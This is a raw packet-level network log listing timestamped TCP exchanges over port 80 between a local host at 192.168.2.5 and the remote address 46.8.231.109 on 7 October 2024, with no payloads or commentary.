Oct 7, 2024 17:22:06.206998110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207009077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207015991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207019091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207031965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207036972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207081079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207107067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207117081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207122087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207129002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207139015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207149982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207159042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207180023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207191944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207241058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207250118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207261086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207273006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207283974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207289934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207295895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207307100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207308054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207350969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207350969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207365990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207380056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207403898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207428932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207439899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207458019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207465887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207468987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207479954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207500935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207513094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207525015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207525969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207530975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207540989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207565069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207582951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207590103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207614899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207618952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207631111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207705021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207715988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207731962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207746983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207755089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207788944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207823038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207834959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207844973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207855940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207865000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207882881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207895994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207895994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207921982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207932949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.207933903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.207962990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287275076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287288904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287296057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287321091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287331104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287341118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287412882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287425041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287444115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287455082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287461042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287472963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287483931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287530899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287589073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287600994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287611008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287621975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287631035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287632942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287652969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287667036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287672997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287682056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287693977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287698984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287705898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287715912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287719965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287728071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287739038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287750959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287781954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287794113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287837982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287934065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287945986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287955999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287967920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287977934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.287985086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.287987947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288001060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288013935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288032055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288058996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288208008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288238049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288259983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288273096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288278103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288289070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288294077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288305998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288317919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288317919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288327932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288338900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288347960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288352013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288377047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288393021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288492918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288505077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288516045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288541079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288567066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288609028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288621902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288633108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288645029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288655043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288657904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288683891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288698912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288727999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288746119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288757086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288768053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288774967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288779020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288789988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288789988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288800955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288810015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.288820982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.288844109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289102077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289151907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289161921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289179087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289208889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289216995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289228916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289238930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289249897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289266109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289277077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289298058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289305925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289316893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289328098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289338112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289340973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289359093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289370060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289381981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289385080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289391994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289410114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289429903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289503098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289514065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289524078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289529085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289540052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289545059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289551020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289561987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289566040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289572001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289575100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289603949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289614916 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289614916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289633036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289643049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289644957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289654016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289661884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289664030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289675951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289690018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289719105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289757013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289768934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289779902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289791107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289793968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289802074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289813042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289824963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289829969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289834023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289855003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289871931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289880037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289892912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289897919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289918900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289930105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289941072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289942980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289952993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289964914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.289973974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.289995909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290007114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290361881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290376902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290394068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290405035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290409088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290417910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290420055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290442944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290468931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290503025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290514946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290519953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290527105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290541887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290551901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290564060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290564060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290594101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290608883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290608883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290621042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290635109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290643930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290647984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290667057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290685892 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290709019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290719986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290736914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290749073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290759087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290760040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290760040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290771008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.290782928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.290810108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370369911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370392084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370402098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370475054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370486021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370495081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370506048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370512009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370516062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370528936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370537043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370548010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370557070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370570898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370595932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370600939 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370605946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370615959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370634079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370663881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370688915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370697975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370707035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370716095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370726109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370729923 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370735884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370747089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370757103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370760918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370790005 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370819092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370858908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370889902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370899916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370928049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370935917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370945930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370949030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.370955944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370965958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.370985985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371011019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371201038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371248007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371273041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371282101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371289968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371299982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371319056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371320009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371329069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371346951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371364117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371366978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371401072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371426105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371468067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371519089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371532917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371541977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371573925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371589899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371592999 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371598959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371611118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371623993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371632099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371638060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371642113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.371664047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371685028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.371905088 CEST	80	49704	46.8.231.109	192.168.2.5
